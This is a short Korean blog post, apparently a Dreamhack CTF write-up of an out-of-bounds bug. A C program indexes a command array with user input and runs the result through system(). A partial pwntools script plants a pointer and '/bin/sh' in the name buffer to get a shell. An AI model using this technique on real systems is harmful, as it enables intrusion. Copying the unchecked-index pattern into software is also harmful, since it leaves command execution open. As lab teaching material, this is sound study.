728x90
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
대충 이름을 물어보고 입력값을 받는다
배열에 index를 벗어나서 참조하면 원하는 system 명령어를 실행할 수 있다 그걸 개념적으로는 Out of Bounds라고 한다.
p.recvuntil(b"Admin name: “)
payload = p32(name+4)
payload += b”/bin/sh"
p.sendline(payload)
p.recvuntil(b"What do you want?: “)
~~~~~~~~~~~~~
요렇게 한 다음 참조값을 적당히 넣어주면 flag가 나온다
728x90
'호그와트' 카테고리의 다른 글
드림핵 dreamschool ~~파도 ~~~ 별 (0) | 2022.02.11 |
---|---|
dreamhack return address Overwrite (0) | 2022.02.09 |
godbolt로 어셈블리어 이해하기 (0) | 2022.02.07 |
한계 돌파하기 리버싱과 시스템 해킹 (0) | 2022.02.07 |
dreamschool (dreamhack) (0) | 2022.02.02 |